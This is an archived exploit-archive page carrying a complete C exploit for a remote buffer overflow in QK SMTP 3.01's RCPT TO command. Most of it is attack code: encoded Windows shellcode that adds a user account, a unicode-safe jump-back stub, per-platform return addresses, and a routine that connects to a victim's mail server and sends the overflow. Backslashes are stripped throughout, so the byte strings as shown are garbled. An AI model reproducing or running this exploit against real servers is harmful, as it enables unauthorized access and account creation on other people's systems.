[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : QK SMTP <= 3.01 (RCPT TO) Remote Buffer Overflow Exploit
# Published : 2006-10-25
# Author : Expanders
# Previous Title : MS Internet Explorer (MDAC) Remote Code Execution Exploit (MS06-014)
# Next Title : MiniHttpServer Web Forum & File Sharing Server 4.0 Add User Exploit


/*
       _______         ________           .__        _____          __
___  __   _     ____ _____            |  |__    /  |  |   ____ |  | __
  /  /  /_   /      _(__  <   ______ |  |    /   |  |__/ ___|  |/ /
 >    <  _/      |  /        /_____/ |   Y  /    ^   /  ___|    <
/__/_ \_____  /___|  /______  /         |___|  /____   |  ___  >__|_ 
      /      /     /       /   25106    /      |__|      /     /
      
 *   mm.           dM8
 *  YMMMb.       dMM8      _____________________________________
 *   YMMMMb     dMMM'     [                                     ]
 *    `YMMMb   dMMMP      [ There are doors I have yet to open  ]
 *      `YMMM  MMM'       [ windows I have yet to look through  ]
 *         "MbdMP         [ Going forward may not be the answer ]
 *     .dMMMMMM.P         [                                     ]
 *    dMM  MMMMMM         [       maybe I should go back        ]
 *    8MMMMMMMMMMI        [_____________________________________]
 *     YMMMMMMMMM                   www.netbunny.org
 *       "MMMMMMP
 *      MxM .mmm
 *      W"W """

[i] Title:              QK SMTP <= 3.01 RCPT-TO Buffer Overflow Exploit
[i] Discovered by:      Greg Linares
[i] Exploit by:         Expanders  -  expanders [aaat] gmail [dooot] com
[i] References:         http://www.securityfocus.com/bid/20681   ---   http://www.qksoft.com/
[i] Greatings:          x0n3-h4ck - netbunny

[ Research diary ]

Ok.. I'm ready to write some lines about this exploit..
I've encountered some problems during development:
     ESI and ESP points to our buffer, in a memory location that will be contaminated with some bytes after
     storing our data. result: I coulnt put shellcode directly here because it will be changed.
     So i had to write a short jmpback unicode-proof shellcode using venetian tecnique.
     
     Because of some unknown reasons i was not able to get a socket-based shellcode working..
     in this exploit I use an ADD USER shellcode.


[ Timeline ]

Vendor has been informed and version 3.10b has been released.

[ Notes ]

RETcode type: POINTER TO [ESP]
To improve realiability you can search your own RETcodes..

[ Documentation ]

Venetian exploit: http://www.net-security.org/dl/articles/unicodebo.pdf
Skylined Alpha2 : www.edup.tudelft.nl/~bjwever/documentation_alpha2.html.php

[ Special Thanks ]

Skylined
H D Moore
Greg Linares


[ Links ]

www.x0n3-h4ck.org
www.netbunny.org



*/

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>

// You may want to change this, is the user and the password of shellcode added user
#define NETADD_USER "x0n3"
#define NETADD_PASS "h4ck"

// Exploit internal constant, change only if you know what you are doing
#define HELO "EHLOrn"
#define MAIL_FROM "MAIL FROM: <good@ye.com>rn"
#define BUGSTR "RCPT TO: %s@fuck.com>rn"
#define BUFFSIZE 10000
#define SC_MAX_SIZE 800
#define MAX_ENCODED_LEN 100

// Offsets
#define RET_OFFSET       296
#define JMPBACK_OFFSET   4089
#define SHELLCODE_OFFSET 2524

int encode_alphanum(unsigned char *src,unsigned char *dest,int len);
int banner();
int usage(char *filename);
int inject(char *port, char *ip);
int remote_connect( char* ip, unsigned short port );


// win32 ADD user un-encoded shellcode taken from metasploit [ tnx hdm & vlas902 ]
// encoded using Skylined alpha2 tool
char alphanum_shellcode[] =
        // Skylined's alpha2 unicode decoder
        "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABA"
        "BABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JB"
        // Encoded opcodes
        "ylzHOTM0KPkP2kQ5OL2kQlKUt8kQzOtK0On82k1OO0KQ8kpIDKoDTKKQXnnQ7P4Y4lU4upptm7i1WZLM"
        "kQWRJKJTMkpTLdzdt59UdKooktkQzKOv4KlLNkDKooMLyqZKBkMLRkzajKQyQLmTM45sNQUpotRkmplp"
        "tEupQhlLBkoPlLRkRPKlvMRkoxjhzKKYtKqpFPkPm0KPbkphMlaOlqhvqPPVriJXCS5pCKNpOxJO8Nk0"
        "C0c8eHKNqzznPW9oyW1SBMotnNaUQhaUkpNOpckpRNOuqdmPRUpsqUPrmP%skp%s"
        "mPnOQ1OTNdo0mVMVMPpnOurTMP0lBOqS31PlC7prpobU0pkpoQotPmoyPn1YT3ptT2aQPtpo1bBSkp%s"
        "MPNOOQa4oTkPA";


//  Fully customizable UNICODE-PROOF jmpback shellcode
//  Written with venetian tecnique to jmpback as more as possible using as less as possible bytes
//  Note that x73 is "add byte ptr [ebx],dh", ebx point to a useless but writable location so
//  we can use this instruction as a unicode NOP to realign with our next instruction
unsigned char jmpback[] =
        "x50x73" // push eax  |
        "x54x73" // push esp  |  Workaroung for "xchg eax,esp" cos 0x96 is filtered
        "x58x73" // pop eax   |____
        "xB0" //  mov al,0x0   |  Set last eax byte to zero..
        "x48x73" // dec ax    |  ..and next we decrement eax
        "xB0x48x73"
        "xB0x48x73"  //      |  Again...
        "xB0x48x73"  //      |  ...and angain
        "xB0x48x73"
        "xB0x48x73"  //      |  every time it substract 0xFF to eax
        "xB0x48x73"
        "xB0x48x73"
        "xB0x48x73"
        "xB0x48x73"
        "xB0x48x73"
        "xB0x48x73"
        "xB0x48x73"
        "x48x73"//            |  eax is aligned to the shellcode
        "x50x73" //  push eax
        "xC3x73"; // retn

        //"x50x73xBAxAAxAAx73x52x73xC3x73";   // push eax = 0xAA00AA00 and retn !!DEBUG!!


struct retcodes{char *platform;unsigned long addr;} targets[]= {
    { "Windows NT Universal", 0x77cec080 },   // shell32.dll push esp, ret  [Tnx to metasploit]
	{ "Windows 2k SP 4"     , 0x75031dce },   // ws2_32.dll push esp, ret   [Tnx to metasploit]
	{ "Windows XP SP 0/1"   , 0x71ab7bfb },   // ws2_32.dll jmp esp         [Tnx to metasploit]
    { "Windows XP SP 2 ENG" , 0x71ab9372 },   // ws2_32.dll push esp, ret   [Tnx to metasploit]
	{ "Windows XP SP 2 ITA" , 0x77D92CFC },   // user32.dll jmp esp
	{ NULL }
};
int banner() {
  printf("n       _______         ________           .__        _____          __     n");
  printf("___  __\   _  \   ____ \_____  \          |  |__    /  |  |   ____ |  | __ n");
  printf("\  \/  /  /_\  \ /    \  _(__  <   ______ |  |  \  /   |  |__/ ___\|  |/ / n");
  printf(" >    <\  \_/   \   |  \/       \ /_____/ |   Y  \/    ^   /\  \___|    <  n");
  printf("/__/\_ \\_____  /___|  /______  /         |___|  /\____   |  \___  >__|_ \ n");
  printf("      \/      \/     \/       \/               \/      |__|      \/     \/ nn");
  printf("[i] Title:        tQK SMTP Remote RCPT-TO Buffer overflown");
  printf("[i] Discovered by:tGreg Linaresn");
  printf("[i] Exploit by:   tExpandersnn");
  return 0;
}

int usage(char *filename) {
  int i;
  printf("Usage: t%s <host> <port> <targ>nn",filename);
  printf("       t<host>   : Victim's hostn");
  printf("       t<port>   : Victim's port  ::  Default: 25n");
  printf("       t<targ>   : Target from the list belownn");
  
  printf("#   t Platformn");
  printf("-----------------------------------------------n");
  for(i = 0; targets[i].platform; i++)
        printf("%d t %sn",i,targets[i].platform);
  printf("-----------------------------------------------n");
  exit(0);
}


int remote_connect( char* ip, unsigned short port )
{
  int s;
  struct sockaddr_in remote_addr;
  struct hostent* host_addr;

  memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
  if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
  {
   printf ( "[X] Cannot resolve "%s"n", ip );
   exit ( 1 );
  }
  remote_addr.sin_family = AF_INET;
  remote_addr.sin_port = htons ( port );
  remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
  if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
  {
   printf ( "[X] Socket failed!n" );
   exit ( 1 );
  }
  if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) ==  -1 )
  {
   printf ( "[X] Failed connecting!n" );
   exit ( 1 );
  }
  return ( s );
}

int main(int argc, char *argv[]) {
    int s,position;
    char encoded_user[MAX_ENCODED_LEN];
    char encoded_pass[MAX_ENCODED_LEN];
    unsigned int rcv;
    char *buffer,*request;
    char recvbuf[256];
    char shellcode[SC_MAX_SIZE];
    banner();
    if( (argc != 4) || (atoi(argv[2]) < 1) || (atoi(argv[2]) > 65534) )
        usage(argv[0]);
    printf("[+] Target OS is: %sn",targets[atoi(argv[3])].platform);
    printf("[+] Creating evil buffer...");
    fflush(stdout);
    buffer = (char *) malloc(BUFFSIZE);
    request = (char *) malloc(BUFFSIZE + strlen(BUGSTR));
    memset(buffer,0x73,BUFFSIZE);  // Fill with unicode nops
    memset(buffer+4000,0x45,1000);
    encode_alphanum(encoded_user,NETADD_USER,strlen(NETADD_USER));
    encode_alphanum(encoded_pass,NETADD_PASS,strlen(NETADD_PASS));
    sprintf(shellcode,alphanum_shellcode,encoded_user,encoded_pass,encoded_user);
    memcpy(buffer+RET_OFFSET,&targets[atoi(argv[3])].addr,4);
    memcpy(buffer+SHELLCODE_OFFSET,shellcode,strlen(shellcode));
    memcpy(buffer+JMPBACK_OFFSET,jmpback,strlen(jmpback));
    memset(buffer+4500,0x00,1);
    printf("donen");
    printf("[+] Connecting to remote hostn");
    s = remote_connect(argv[1],atoi(argv[2]));
    //rcv=recv(s,recvbuf,256,0);
    if((rcv = recv(s,recvbuf,256,0)) < 0)
    {
     printf("n[X] Error while recieving banner!n");
     exit( 1 );
    }
    if (strstr(recvbuf,"QK SMTP")!=0)
    {
     sleep(1);
     sprintf(request,"%s",HELO);
     printf("[+] Sending EHLOn");
     if ( send ( s, request, strlen(request), 0) <= 0 )
     {
            printf("[X] Failed to send buffern");
            exit ( 1 );
     }
     sleep(1);
     sprintf(request,"%s",MAIL_FROM);
     printf("[+] Sending MAIL FROMn");
     if ( send ( s, request, strlen(request), 0) <= 0 )
     {
            printf("[X] Failed to send buffern");
            exit ( 1 );
     }
     sleep(1);
     sprintf(request,BUGSTR,buffer);
     printf("[+] Sending EXPLOITn");
     if ( send ( s, request, strlen(request), 0) <= 0 )
     {
            printf("[X] Failed to send buffern");
            exit ( 1 );
     }
     sleep(1);
     printf("[+] Done - New account should have been added:n");
     printf("[i] LOGIN:t%sn",NETADD_USER);
     printf("[i] PASSWORD:t%sn",NETADD_PASS);
     printf("[+] Exploit now hangs up. see ya.nn");
    } else
     printf("[X] This server is not running QK SMTPn");
    close(s);
    free(buffer);
    free(request);
    return 0;
}

// Ripped from Skylined's alpha2.c
int encode_alphanum(unsigned char *dest,unsigned char *src,int len){
  char dump[2];
  int   i,n, input, A, B, C, D, E, F;
  char* valid_chars;
  struct timeval tv;
  struct timezone tz;
  memset(dest,0x00,MAX_ENCODED_LEN);
  gettimeofday(&tv, &tz);
  srand((int)tv.tv_sec*1000+tv.tv_usec);
  valid_chars = "0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
  for(n=0;n<len;n++) {
    input = src[n];
    A = (input & 0xf0) >> 4;
    B = (input & 0x0f);
    F = B;
    i = rand() % strlen(valid_chars);
    while ((valid_chars[i] & 0x0f) != F) { i = ++i % strlen(valid_chars); }
    E = valid_chars[i] >> 4;
    D = (A-E) & 0x0f;
    i = rand() % strlen(valid_chars);
    while ((valid_chars[i] & 0x0f) != D) { i = ++i % strlen(valid_chars); }
    C = valid_chars[i] >> 4;
    sprintf(dump,"%c%c", (C<<4)+D, (E<<4)+F);
    strcat(dest,dump);
  }
  return 0;
}

// www.Syue.com [2006-10-25]